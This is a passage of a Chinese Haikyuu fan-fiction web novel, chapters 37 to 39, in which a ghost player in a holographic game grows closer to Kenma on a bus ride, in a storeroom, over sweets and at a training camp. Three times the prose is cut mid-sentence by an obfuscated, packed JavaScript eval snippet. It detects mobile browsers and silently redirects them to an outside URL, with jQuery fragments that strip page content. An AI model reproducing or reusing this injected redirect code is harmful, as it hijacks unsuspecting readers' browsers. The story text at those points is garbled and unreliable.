小八气鼓鼓地越升越高,扑通一下撞了撞我的脑袋:“我们公司的游戏可是会很受欢迎的,到时候你就清楚了!” 我举起双手投降:“好的!” “话说小八,这次存档的节点是哪里?” “从仙台回东京的中巴上,研磨他们刚和乌野打完训练赛回来。” “乌野?”我记得这个队伍,是研磨曾经介绍过的,被猫又教练经常在庆功宴喝醉之后提到的宿敌所带的队伍,我焉焉地问道,“那我是不是错过了很多重要人物的出场。” “Bingo.”小八,“不过也没什么,他们之后还会经常一起合宿和打比赛,总之——” 它敲了敲我的碗碟:“赶快吃完上线吧!” 我优雅地喝完最后一盏茶,被失礼的小八拎了起来,送进了游戏界面。 * 这次总算不是从天上掉下来了。 我安稳地落在了座位上,中巴悠悠驶入黄昏,扒拉着椅背环视四周,我趴在椅背一看,前面那颗鸡冠头脑袋很有标志性,是小黑。 我想当然地戳了戳他旁边的脑袋。 夜久学长突然正襟危坐,摸了摸自己的脑袋,把身侧的小黑吓了一大跳。 “小黑。”夜久学长的表情分外凝重,“你有没有感觉刚刚有阵阵阴风吹过。” 小黑捧腹大笑:“夜久你是做噩梦了吧。” 我,罪魁祸首,为自己误伤夜久学长的举动忏悔了零点零一秒,随后以身体为圆心,开启三百六十度扫视,目的是找到藏在这个中巴上的某只猫猫。 千流牌扫描仪在旋转一百八十度后终止了。 因为研磨正合着眼躺在我正后方的位置上。 研磨的刘海有些潦草地分布在额头上,被染成金黄色的头发长得很快,头顶已经有些黑色的头发。 “真的变成焦糖布丁了。”我轻声说道。 我趴在椅背上,静悄悄地看着研磨,他戴着有线耳机,坐在了中巴的后半部分,和横七扭八瘫在一起呼呼大睡的几人不同,研磨只是撑着侧脸倚靠着窗户。 [研磨看起来累坏了,还是让他安安静静地睡一回吧] 我打算跑到福永的后面趴着,因为在刚刚扫视四周时,看到福永手里捧着一本漫画,封面是浮夸搞笑风,一看就很有意思。 不过还未等我动身,研磨的睫毛眨了眨,浅浅地睁开眼,抬起头与扒拉着座椅的我直愣愣地对视着。 ——不会要被当作偷窥狂对待了吧。 本人千流绝对没有偷窥研磨的意思。 正当我眨巴眼睛脑内风暴打算解释时,研磨却先我一步错开了视线。 他的手摸了摸耳畔的耳机,低着脑袋划动手机,屏幕幽幽地泛着蓝光。 嗯? 怎么跟完全没有看到我这个人一样,奇奇怪怪的反应,我感到疑惑。 没想多久,我翻过座位,一跃到研磨身旁的空位,利落地坐了下来。 “好华丽的登场方式。”研磨放下手机看向我。 “一般一般。”我谦逊表示,并不爽地戳了戳研磨,“你刚刚那是什么反应。” 研磨用眼神表示不解。 我说道:“我们已经好几周没见了,研磨看到我居然不表示欢迎,还很冷酷地继续看手机,真是太糟糕了......” 我佯装受伤地抹眼泪。 “是一个月。”研磨纠正我语句中的错误,他摘下一侧耳机,递给我,“要听吗?” 这家伙完全不解释刚刚的行为。 我气鼓鼓,不过还是接过了耳机。 “刚刚你就当我没睡醒。”他突然说道,“我以为没睡醒还在做梦。” 我打趣:“研磨经常会梦到我吗?是不是刚刚黄昏的光打在我身上,布灵布灵和天使一样。” 他沉默:“...其实是照得更透明了,跟要把我带走一样。” “真是太不会说话了!”我斥责。 耳机中刚好一曲终了,切到下一首歌,是爱乐之城的配乐,只听几秒钟前奏就能反应过来。 这样莫名重合轨迹的瞬间总让人有些恍惚的感觉,就像即使是相隔着“游戏”,我们也依然经历过类似的事情,可能对同样的情节也有一样的体悟。 我不知为何突然想到另一部电影中的一个情节。 “喂,研磨。” 他看向我,歌曲刚好放到欢快的部分,我靠近了些,担心他听不见,指了指耳畔的耳机:“之前看过一部电影,男女主这样戴耳机被某个做音乐的混音师斥责了。” 我记得不是很清晰:“大概就是说这样打破了他们精心调试的音乐,不仅听不到完整的音乐效果,连两个人听到的音乐都不一样。” “研磨是怎么想的?” “我又不是调音师。”他稍稍扬起嘴角, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158282|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这些歌自己也循环了好多遍了。” “和千流在一起,听着和平常有些不一样的歌,也没什么不好的吧。” ...... 好意想不到的回答。 就好像在说着,重要的不是什么歌,而是一起听歌的人。 我可以这么理解吗? 当然可以如此理解了。 我满意地点点头,心里的小人一阵雀跃地欢呼,这么看来我和研磨的友情进度条大概已经推进到百分之九十九了。 * 研磨看着明显陷入沉思的千流。 ——我刚刚那种说法一听就很有问题吧。 少有的忐忑打乱了他的思绪。 眼看着面前的千流露出了一幅恍然大悟的表情,咧着嘴角飘飘然地抬起头。 ……我果然还是高估她了。 研磨心想。 果不其然,千流一只手捂着嘴乐呵着,另一只手戳了戳一脸无奈的研磨:“没想到我在研磨心中是这么重要的朋友,好了好了,快点承认吧。” 他才不要承认这种东西呢。 研磨佯装要摘下千流那一侧的耳机,她眼疾手快地避开了,还吱吱吱地直笑。 好傻。 他压平自己企图上扬的嘴角:“笨蛋千流。” 千流眯眼:“胆大包天!” 随后年龄加起来都快四十岁的两人挥舞着手扭打成一团。 被笨蛋误解的自己,还能开心地笑出来,其实自己才是无可救药的笨蛋吧。 但一颗心无可救药地雀跃着。 * 打累了。 我瘫坐在座椅上。 即使是鬼,我的体力还是不如可恶的研磨,谁知道他是怎么做到把身体扭成那个样子躲避我的攻击的。 我比个暂停的姿势。 千流惨败。 我有一搭没一搭地和研磨聊着:“乌野有很有趣的人吗,研磨有交新朋友吗?” 我几乎可以猜到那句“一般吧”。 不过这次猜错了。 他说:“乌野的翔阳,很有趣。” 我怎么总觉得听过这个名字。 是错觉吗? “为什么?” “很开朗,不知道什么是灰心的排球笨蛋,更重要的是,就像身怀绝技但自身其他属性都不高的成长型选手。” “看他那样的发挥,就会很好奇,他到底会抵达什么样的高度。也会想要跟他交手。” 描述得跟游戏里的最终boss一样,是相当高的评价啊。 “有照片吗?”我好奇地询问。 耳机里此时传来消息的提示音,研磨低头查收着消息,他笑了笑:“这下有了。” [翔阳:研磨!忘记把这张合照发给你了,你也保存一份吧!] 好明媚的刺眼阳光。 光是隔着屏幕都能感受到对面活力满满的气息。 焉了吧唧的猫猫和活力满满的小狗,如此搭配的友情,我的脑海中一下就浮现了这样的画面。 研磨敲了敲(实则敲不到)我的脑袋,让我杂七杂八的思绪回拢,我看向手机。 有些愣神,随后很快地反应过来:“我见过他哦。” 这种橘子头脑袋,很难不记得。 37.研磨猫猫养成手札 29 * “我见过他的。”我斩钉截铁,“在那个海滩,遇到这只橘子头脑袋,那时候他在和他的妹妹一起堆沙堡。” “然后又跑去打沙滩排球了。” 我总算明白似曾相识的感觉是源于哪里了。 研磨竖起手机屏幕,向我展示。 [翔阳:那个沙滩?我没去过哦,不过我和我妹妹去过仙台附近的一个沙滩,也很好玩,下次带研磨去玩吧!] 难道是我老花眼了? 我嘟囔着:“真的是个橘子脑袋啊,难道你们霓虹有遍地的橘子脑袋吗?” 研磨想象了一下全东京的街上都是翔阳。 ……那一定很热闹。 我执着:“不管是那天感受到的乐天派的性格,还是外表,都很符合研磨对翔阳的描述。” 他突然岔开话题:“千流喜欢乐天派的人吗?” “研磨问这个干嘛?”我困惑,如实地说,“和乐天派交朋友当然很轻松。” 我灵光一闪,开朗地拍打研磨的脑袋:“就算研磨不是乐天派,我们也已经是超好的,朋友了,对吧!” 他深深地、深深地吸了一口气,把耳机里的音乐切成摇滚乐,金属轰鸣嗡地将我一震。 我明白了。 这是研磨迟来的青春期,所以情绪才会这么不稳定,像夏天的暴雨一样,突如其来。 他佯装[并没有不开心]的样子并没有骗过本千流。 在我指出这一点后,研磨突然摘下了自己的耳机,转向我,身体微微前倾。 很多体育生在训练完后都会去淋浴间冲洗一下,再换上一身干净的衣服。 研磨应该也这么做了。 清爽的柑橘味气息占据了我周遭所有的空气,压得让人有些喘不过气,就跟要夺走人的氧气般,我的额头也因缺氧而变得温热。 但我还是不甘示弱地睁大眼瞪着研磨。 不知道我闪亮的大眼睛激发了什么他的笑点,他原本有些压迫感的神情因为嘴角漾开的笑意而变得宛如纸老虎,一戳就破。 他的声线还在维持[严肃]的外表。 “既然什么都骗不过千流,那你知道我现在想要干什么吗?” 在迫近咫尺的距离,呼吸声也变得分明,我勉强辨别研磨的神情。 我望向他的瞳孔,琥珀里满满当当装着一个我,澄澈的眼睛干净透亮。 …… 我急急忙忙伸出手,遮住他的眼睛。 密而长的睫毛扑闪挠着我的手掌,无可奈何地,我又放下手。 他毫不退让地再度看向我。 “什么都骗不过的千流?” 声音里带着笑。 我气恼:“你骗过了,我猜不到。” 他的手拂过我的耳侧,就像要把我的设想全都付诸实现,我下意识地向后缩了缩。 研磨淡淡地摘下我耳朵上的耳机,细长的线落回他的手中,他起身,背上挎包。 “我打算摘耳机,因为已经到学校了,什么都瞒不过千流——” 我倏地站起,同手同脚地迈向前门,在前门被打开以及研磨被众人团团围住的间隙迅速地下了车。 * [排球馆的杂物间里] 我躲在拖把水桶与扫帚堆叠起的三角稳定避难所里,屈膝把头埋在膝盖里。 我在忏悔。 [玩家还要在这里躲多久?] 我坦诚地对小八忏悔:“小八…你刚刚不在。” 它说:[哈哈,从你们两个共用一个耳机的时候,我就飘在旁边了。] 没有细想它语气中的不同寻常,我沉浸在自己的思绪里,把头再度重重地埋进手掌中,我掩面:“我刚刚有一瞬间以为研磨想做的事…” 跟蚊子叫一样,我小声:“我以为他想—” 小八看着番茄西红柿玩家,感觉她就算在这里磕磕绊绊地想半天也会卡壳得一句话也说不完,索性干脆地帮她说道:“以为他想亲你吧。” 玩家发出了开水壶烧开的声音。 “难道我当时的想法已经写在脸上,连小八都能看出来吗,那我要怎么面对研磨?” “我在他心目中可一直都是可靠的长辈,姐姐,没想到!” 小八抽了抽嘴角,这些形象在研磨心中大概从未存在过吧。 不过,它这么说完全是因为,研磨好像就是那个意思吧…… 总之当时研磨和玩家周围简直像冒起咕噜咕噜的粉红泡泡,让AI龄还算小孩的小八都捂住了两只眼睛,从手掌没有捂严实的空隙中暗中观察。 至于后面的行为,才是看到玩家稍微退后,临时转变的想法吧。 该说他有分寸,循序渐进,还是说在某些地方果断地可怕呢。 ——距它观察,研磨想清楚自己的心思也没多久吧。 某AI按耐不住自己的好奇心,忍不住追问:“那你误会的时候在想什么?” 说到这里,好像更加戳到玩家本就不多的良心,她更加深深地埋住自己的脑袋,闷闷的声线传来。 “什么都没想啊……就觉得真的亲的话,也不是不可以……” 她三度忏悔:“怎么觉得更渣了!” 她碎碎念:“你可是看着研磨长大的,比他大了不知道多少岁,就算研磨长得完全符合你的审美,也不能这么禁不住诱惑!” 小八冷静指出:“他现在只比你小一岁,按我们游戏的进度,以后他还会比你大。” * 我扶住自己摇摇欲坠的良心:“小八,你这是在诱惑我吗?” 小八无辜地吹了声口哨:“没有哦。” 我整理思绪:“总之,我们一定要贯彻和研磨成为超好朋友的这个总路线绝不动摇。” “好吧。”既然玩家都这么想,小八询问,“那要是玩家某天突然心动了,怎么办?” 我笃定:“小八,我分得清游戏和现实的。” “什么是对角色的喜欢,什么是想要在一起的喜欢,这是两种很不一样的感觉。” 我想起之前玩的那些攻略游戏,弯着眉眼告诉小八这个小秘密:“虽然很喜欢玩游戏,但比起惊心动魄的生死之交,我这个人,其实更容易被日常的相处打动。” “比如?” 我想了想:“心动这种东西,或许是瞬间的一种感觉,我也不否认有时候对研磨有这种dokidoki的感觉,毕竟他和我兴趣爱好很相似,性格也是我喜欢的类型。” “但就算是在游戏里,我也只会跟真正能和我走下去的那种人在一起哦。” 小八的脑子被搅成了一团:“但是游戏里,又怎么称得上是一起走下去。” “问得好小八。”我赞许,“所以我每次玩那种攻略游戏都不是正常的he手段,而是轰轰烈烈的[双死就是he],那种特殊he结局啦。” 请玩家不要用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158283|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么平淡的语气说出这么可怕的话。 “为什么呢?”小八忍不住追问。 “小八今天问了好多为什么啊。”不过跟小八讲话并没有什么负担,加上我今天突然多了一些诉说的欲望,“嘛,其实跟我小时候的经历有关。” “类似于越得不到的东西就越想要?”我轻巧地说着,“我过去总是一不小心就被丢下了,所以长大之后就下定决心。” “如果要和一个人在一起,那这个[在一起]就绝对是一辈子的期限。” “是不是很偏执?”我笑盈盈,“但是我要是有遇到这样的人,绝对会跟他沟通清楚的,话说小八,你怎么一动不动地跟被吓傻了一样。” 我想到星愿,当时我和她说了这个想法后,她毫不犹豫地就说了我一句“变态”,随后表示,要是有人答应了我却没有做到,她一定会把对方捆起来——这样可怕的话。 小八:“…只是因为玩家对待感情应该也蛮阳光的,看来有些想错,仅此而已。” * 储物间的门被轻轻推开了一角,细碎的阳光沿着那条缝隙洒落,空气中的灰尘如絮状的羽毛般飘飘洒洒。 一颗焦糖布丁脑袋探了进来,精准地锁定了我,随后把整扇门都推开了,排球部众人的喧嚣声随之进入。 “研磨,今天怎么这么勤奋,还说要主动拖地。”夜久的声音远远传来。 研磨没有开灯,只是蹲下,与我平视。 我露出一双眼睛。 他划拉着手机,向我展示一个[鬼鬼祟祟]猫猫的表情包,那个猫猫也只是露出了一双眼睛。 “千流跟它一样。” “我哪有这样?”我辩驳,露出一整个脑袋,他拍了拍我的肩膀,“成功逮捕千流。” 研磨露出很为难的表情,他扒拉来一个拖把,晃了晃:“为了有合理的理由来找千流,我今天得把整个——排球馆都拖一遍。” “啊!”我严肃,“那很坏了。” 我撸起袖子,打算大展身手,悄摸摸地和研磨说:“研磨负责把大家早早赶走,届时我会登场哦。” 研磨略施小计,大家虽然疑惑但还是早一步离开了。 此时魔法千流堂堂登场。 我穿上用加速符咒改装的鞋子。 拿起拖把,干劲十足,一阵飓风席卷排球馆。 我不费吹灰之力就完成了清洁任务。 没想到日行一善的日常任务也打了个勾,我开心地跟研磨分享[打扫卫生]也能刷日常这个新发现。 这样我们总算不用在十字路口蹲老奶奶了! 不过此时被我分享这个好消息的研磨静静地垂眸,一幅若有所思的神情。 我后知后觉,研磨他一点也没有追问我为什么突然跑掉这回事。 总归是不用社死了,我轻呼一口气。 “我叫妈妈做了三份蔓越莓饼干,回去之后一起送给小黑?” “没问题!”我欢呼。 * 小八将一切看在眼里,不过没有人记得给小AI留一份蔓越莓饼干,它微微地碎成半片。 它开动自己的大脑。 [打算采用抓住玩家胃的怀柔政策吗?] 小八想到玩家曾说过的话。 ……总觉得有些行不通呢。 小八摸了摸自己运载过度发烫的大脑,决定将这一切抛在脑后。 ——它也要去蹭饭。 38.研磨猫猫养成手札 30 * “盯——” 研磨无奈地放下即将送入口中的焦糖布丁:“阿虎,不用在盯别人的时候顺道配音的。” 另外,这种举动莫名幻视一些少女乐队番的萌系角色。 ……总觉得和猛虎有些不符。 “啊!”福永合掌,“是焦糖布丁,对吧?” 福永幽幽把焦糖布丁举到自己的面前,排球部的众人面露疑惑。 “自己吃自己——”福永拉长声线。 …… 小小的甜品店里空气完全地凝滞了。 夜久哆嗦着打了个喷嚏。 研磨满头黑线:“这时候也要说冷笑话吗福永。” “啊嘞,你们为什么都没有发现啊。”猛虎困惑地指向研磨身侧装得满满当当的塑料袋,被打包好的草莓蛋糕隐约露出一角。 “研磨最近的胃口,一点也不寻常啊!”猛虎掷地有声,“每次一起出来,就跟进货一样,拉面也会点两份!在我们都没有注意到大声讲话的时候,嘶溜一下就吃光了!” 犯人千流踮了踮脚尖,默默移开视线。 ——有一个怎么吃都吃不撑的胃,怎么可以忍住不狂吃一通嘛! 至于钱…… 完全用日常任务的积分兑换了。 那时候研磨是这样说的: “反正我们又不是什么高魔世界,也不用打怪,积分的话,千流有想要的道具吗?” 我瞬间想到积分商城里不正经的那些道具,这些东西一辈子我都用不上吧。 我斩钉截铁:“没有!” “那换点钱换好吃的,及时享乐,怎么样?” 堕落这件事就是如此迅速啊。 江千流如是说道。 黑尾沉思:“难道说是在长身体。” 猛虎绕到研磨身后,举起研磨的手臂进行展示:“即使是吃这么多也没有长肌肉啊!” 那当然,研磨默默,因为完全没有进自己的肚子里啊。 列夫语出惊人:“难道说研磨学长家里也有弟弟妹妹之类的?买吃的总要多带一份,这种。” 众人:又自爆了吗列夫,其实是姐姐每次都会给你带一份吧。 “弟弟妹妹这种,研磨家里倒没有。”小黑一脸坏笑,“不过需要额外寄一份的人嘛……” “哈!!!”猛虎瞳孔剧震,“背叛我们这件事,研磨你不会干的吧!” 请不要当着当事人的面议论这种事情啊。 看不见的当事人千流脑袋冒烟。 我瞧瞧瞄一眼研磨。 很好,嫌弃地看着小黑质问他又在乱说什么,果然还是我熟悉的研磨。 ——我们坚不可摧的友情线完全没有任何的偏离。 “其实是怎么吃都吃不胖。”研磨凡尔赛,“这种事情我也很为难啊。” 猛虎的拳头正在酝酿中:“真让人嫉妒啊!不过还好不是黑尾学长说的那种可能。” “要是那样的话会怎么办?”研磨发问。 “那我是绝不会原谅你这个叛徒的!”猛虎的表情看起来相当严肃。 “这样啊。”研磨面不改色,灵活的手在桌台下敲着字,随后自然地在桌台边沿露出屏幕。 我上道地探头探脑。 [这样看来,为了不被猛虎惩罚,我们只能暗暗进行了。] 哈?! 我睁大眼看着这行字。 简单的一行字有着多样的解读方法。 总觉得我和研磨的关系由于“偷偷摸摸”地进行,染上了什么不得了的意味。 我顺走一个泡芙,狠狠咬了下去。 “我说,研磨啊。”猛虎再度困惑,“吃光了的焦糖布丁很好笑吗?” 黑心猫。 我确信研磨是故意这么说的,并手握满满的证据。 * “偶尔这样在训练完出来吃甜品,体验也蛮不错的!”夜久学长提包缓缓走着。 长长的坡道一不留神就会滚下去,我自小看日漫都是这样担忧的。 不过好在我是鬼,用不着走路。 “还是不能经常吃啊。”咸党福永提出异议。 “我倒觉得天天吃都没问题!”甜党犬冈满脸笑意。 “啊,那我和阿走没法做饭搭子了。” “不要啊——我相当想和福永学长一起吃饭,这样整顿饭都乐得合不拢嘴。” “吃饭的时候最好还是不要大笑哦。”夜久学长善意地提醒。 “会注意啦!” 我停驻在坡上,看着他们一路有说有笑地走过长长的坡道。 夕阳好像也格外偏爱这样的少年,他们的脑袋上都泛着暖洋洋的金光。 仔细看,研磨虽然看起来垂着头,余光却总是在大家哈哈大笑的时刻划过众人的脸颊,然后抿着嘴低笑。 游戏结束以后,研磨和大家也会这样幸福下去吧。 透过他们的背影,我望向远方,浑圆的落日缓缓落入地平线,即使是在全息游戏里,这样的太阳似乎也和现实中别无二致,照耀着每一个人。 这就是游戏的价值吧。 我踹着路边的一颗小石子,它啪嗒啪嗒滚下坡道。 莫名地,眼角有些发涩。 思绪打结,我漫无目的地跟在他们身后。 视线突然出现熟悉的背影,我抬起头,研磨微微低头,晃了晃手中的塑料袋。 “回去吃超好吃的草莓蛋糕怎么样?” 总觉得研磨一本正经地说“超好吃”这件事,真的很好笑。 我打起精神:“完全OK啊!” 研磨突然拿塑料袋碰了碰我的手,我夸张:“为什么突然揍我。” “笑得和被发配挖了二十年的煤一样。”研磨锐评。 “是诋毁。”我看向热闹的众人,“不赶紧跟上没问题吗?” 研磨站在我的身旁,安静片刻:“大家都习惯了吧。” “习惯什么?”我好奇。 “比如我边走边打游戏,越走越慢,于是掉队。” 我大笑:“这果然很研磨呢。” “而且我走累了。” “啊?研磨的体力最近退化严重啊。”我严肃,“还需多加锻炼才对。” 研磨幽幽:“总觉得千流没有说这种话的资格。” 靠谱的音驹众人果然很快逮到掉队的研磨,小黑叉腰:“说了好多遍不要边玩手机边走路,研磨。” “果然还是快点走的好。”我戳了戳研磨,“小黑完全误解了呢。” 研磨毫不在意:“又不差这一回。” * 果然有什么烦心事大吃一顿就好了。 我盘腿坐在坐垫上,矮脚的小桌板最适合惬意地享受美食。 光滑的焦糖布丁闪亮得都能照出我的脸,我念念有词:“我要开动了!” 我觉得日本最好的文化就是在进餐时的这一句话,要是被什么掌管美食的神明听到,它肯定也会满意地把全世界的美食通通喂进我的嘴里。 我露出了幸福的笑容。 研磨玩着手中的游戏机,动作行云流水:“千流之前在想什么。” 我歪头:“什么?” “在坡道的时候,一个人突然离得远远的。”他的视线从游戏机中离开,与我对视,“看起来很…不开心。” 他绝对想说的是寂寞吧。 研磨在这种事情上敏锐地可怕。 我半真半假地说着,手指轻摁塑料叉子:“我最近在备考哦,我们鬼界也是有类似公务员的考试。” “所以老是神出鬼没的,来找研磨一起做任务的时间都被挤压了,不过我真的觉得和研磨在一起是超级放松的事情。” 全息游戏里的任务都相当有趣,其实我和研磨已经悄悄做了好几件可以被封为城市英雄的那种,惩治□□的事情了。 不过日本人的中二确实渗入各个阶层和各个职业,那些东京□□甚至给我和研磨起了个名字。 好像叫什么,【比黑色更黑色的存在】。 更不用提无限供应的茶水和小蛋糕了。 感觉被浸泡在这样的氛围里,现实中日益繁重的学业也没有那么让人昏头转向。 虽说我的学习成绩一直很好,也早早做了准备,但专门补习班的程度还是很不一样,斯巴达式的老师和不怎么轻松的学习环境,加上我来的晚。 该一起玩的人都抱好了团,理所应当地掉队了,最多和身边的女生说两句话,但这种关系连朋友也说不上。 不过大家都是为了备考的,也没有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177427|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么必要耗费时间再去认识新朋友。 …… 但偶尔还是感觉好寂寞。 和星愿只能一周打一次电话,虽然已经胡搅蛮缠地一连打一整个晚上,等到她去上课了才挂断,但还是觉得不够。 一开始觉得自己更被星愿依赖着,结果电话打不够的却是自己啊。 “真的真的很忙,研磨有这样的感触吧,像陀螺一样的时候,人就会啪一下,变得很脆弱。” “我看到研磨和朋友那么要好,所以也想到了我的朋友,不是什么很严重的事情啦。”我摸摸脑袋,想让研磨别那么担心。 “在鬼界有好朋友吗?”他问我。 为了不让研磨多想,我握拳,语气坚定:“当然!” 被研磨盯真的好有压迫感,我也不知道自己的表情是不是有什么破绽,他淡淡地说:“我知道了。” 蒙混过关……? “千流很喜欢之前的朋友吧。” 这是当然的。 我点点头。 “比起做鬼,果然是做人更好,是吧?”研磨的话很像自言自语。 身为正能量的鬼一枚,我自然要让研磨珍惜目前的生活:“能做活生生的人的话,当然是选择当人啊!” 他放下手中的游戏机,像是做了什么决定:“我明白了。” 研磨究竟是明白了什么啊? 我察觉到我俩的脑电波似乎并没有对上,困惑地支着下巴。 他把自己那份草莓蛋糕开盖,用干净的叉子将上面的那颗草莓放在我的盘子里。 眼泪啪嗒啪嗒不争气地掉了出来。 研磨瞳孔地震,手忙脚乱抽来厚厚一沓纸,看起来不像是给人擦眼泪的,而是像要把我淹没。 “……不用这么多的。” “所以,为什么哭了啊?”研磨攥紧纸盒。 我很不好意思:“草莓蛋糕没有草莓的话,就没有灵魂了吧。” “这种说法确实听说过。” “研磨的草莓蛋糕,现在和普通的奶油蛋糕没有任何的区别了。” 他似乎隐约了解到千流的脑回路了。 研磨难忍笑意,一味递纸。 我后知后觉意识到自己的泪点有些奇怪,但堆叠的情绪一下子涌了上来。 这下研磨肯定不觉得我是可靠的大人了,我的声音越来越低。 “因为研磨把草莓蛋糕的灵魂那么果断地给我了,所以觉得……” “所以觉得研磨真的是个好人啊!” 我掷地有声。 研磨的眼睛微眯,看起来并没有因为我的夸奖而开心,他咋舌:“千流不是会在心里觉得我是什么坏家伙吗。” 我震惊:“这都被看出来了吗!” 明明都写在脸上了啊。 ——千流总不是那种很容易被人骗走的类型吧。 研磨越想越觉得局势严峻,他脑内已经出现各种白面小鬼手垮一篮草莓…… “千流不要被那种拿草莓的人哄走。” 我噗呲一笑,这种叮嘱的语气是怎么回事啊。 零个人知道研磨的脑袋里都装着什么稀奇古怪的东西。 草莓在盘子里闪闪发亮。 我咬一大口。 “超酸!”我被酸得睁不开眼,鲜艳的草莓披着可怕的外衣诱惑我咬下,给毫无防备的千流致命一击。 不过,真正酸涩的心情都被草莓吸走了,或许这才是它让人酸掉牙的原因。 我安安静静地品尝这样酸涩的感觉。 双腿满足地交叠在一起。 “该吃饭了哦!”研磨妈妈的声音透过门板传来,我和研磨握着叉子的手同时一僵。 “忘记是饭点了。”两人异口同声。 分辨不出是我和研磨谁的笑声了,总之为了不被研磨妈妈听到,我们只好压低了声音笑,我觉得“咯咯咯”的笑声很像母鸡下蛋。 本千流大发慈悲表示会帮研磨悄悄解决一半的饭。 “怎么回事呢研磨。”研磨妈妈敲了敲门,“要是在玩游戏的话尽早结束哦。” 研磨站起身,回道:“马上来。” 我看着光洁的盘子,上面映着笑得傻乎乎的我。 ——不管过多少年,我应该都会记得这一天吧。 39.研磨猫猫养成手札 31 * 本鬼千流被青春荷尔蒙的气息包裹了。 “啊,这个世界真是太不错了。” 天花板的灯光照着靠在躺椅上的我,我惬意地喝着椰汁,对身旁的小八感叹道。 事情是这样的。 错过上次合宿的我这次再怎么说也要准时抵达,好在抽风的存档系统总算把它判定成关键节点。 刚见到其他学校排球部的少年,我瞠目结舌。 这个游戏世界观里的学校都这么开放吗,还是霓虹的高中校风就是如此,总之这几天看到的发色比我前十几年人生中见过的都多。 ...... 不过都稍稍有些浮夸。 比如那位枭谷的猫头鹰队长,他那头竖起来黑白相间的头发,在排球赛场上无比夺目。 难道这是在赛场上用来吸引对手的注意力? 亦或是这一头看起来用了超多发胶的头发,跟法棍一样,是可以用来把排球打回去的绝杀技? 我不免多加关注了这位猫头鹰队长。 某次,对手的排球从他的发间穿过,我遗憾地收回目光。 ——原来并不是什么必杀技。 “小八。”我喝了一大口椰汁,“你们真的不打算把这些这么好看的建模全都做成可攻略对象吗?” 我替该游戏公司的建模师感到惋惜。 前面那个健气乐天派的猫头鹰少年,还有一头灰白色头发,一看就是温柔挂的乌野少年,还有那位表情冷冷的,貌似是傲娇系的眼睛男生。 我都能替小八想好这款游戏的名字了,就比如《dokidoki排球少年全攻略》。 三无游戏公司很没有商业头脑,我默默在心里对这个公司的印象又掉了一个档次。 “嘛,玩家是觉得运动系少年都很帅吧。” 我个人的审美并不喜欢超大块的肌肉,但沐浴在健气运动系男生的氛围里,很难昧着良心说出“也就那样吧”。 于是我遵循本心:“这样看这么多——运动系少年,和天堂相比也毫不逊色了。” “啊,那真想躺在这里一直看下去啊。”耳畔传来一道幽幽的声音。 我连连点头。 不过小八的形容也过于夸张了,本千流怎会是那种沉迷美色的少女...... 我凝滞着,尚未离去嘴角的笑意微微发僵,我一顿一顿地侧过头。 身穿队服的研磨站在我的身旁,他用毛巾稍微擦了擦额间的汗滴,轻笑:“打扰千流看运动系少年了吗?” ...... 这莫名僵持的氛围是怎么回事? 还有研磨脸上挂着的笑容怎么看起来那么意味深长。 罪魁祸首小八“吱吱吱”地奸笑扬长而去。 我猛地回神。 ——我有什么好心虚的。 是人都有一双爱美的眼睛,多看两眼运动系少年也没犯法。 我鼓足劲,说话的声音莫名有些磕巴,舌头打结:“打扰倒是没有。” “好看是真的好看。” “研磨怎么来了,训练完了吗?” 研磨默默叹了一口气,就知道这家伙完全没有看音驹的训练赛。 从这张躺椅的选址就可以看出来,在他们训练场的对角线,自己迈半个排球场,走到这里都算费劲。 “刚刚赢了一场,现在在休息时间。”他面不改色,“千流最喜欢哪个类型。” 啊嘞。 说这些总感觉有些不好意思,我摸了摸鼻尖,非要从这么多人里面选一个喜欢的。 我的眼睛掠过研磨的脸庞,迅速地错开。 “叫菅原的那个男生吧。” ...... 千流这家伙,居然真的能指出一个喜欢的对象。 像嚼了一大口酸梅,研磨脑海中的小白脸鬼的形象更加清晰了,灰白色头发,嘴边常常带着笑,手持着钓鱼竿,鱼饵是新鲜的草莓。 名为千流的小鱼“咻”地一下咬钩了。 他回神:“千流,之前说的赚取功德值的任务,什么时候能真正地成功?” 这件事完全取决于研磨吧。 毕竟只有攻略值满,我才能向研磨宣布赚取功德值的任务顺利完成。 说到底,研磨心里还没有把我当成数一数二要好的朋友吧。 亏我还以为攻略任务的完成指日可待,偏偏小八没有开发出攻略进度系统。 ...... 不会在研磨心里我还是只有七十点好友值的那种普通朋友吧。 简直越想越气。 我只好嘟囔着:“应该快了吧。” 他看起来事业心十足,叮嘱我:“要是有什么任务最近也可以告诉我,不会影响训练的。” 我有苦说不出:“绝对会全部塞给研磨的。” 作为没有发自内心把千流当作一等一好朋友的惩罚。 * 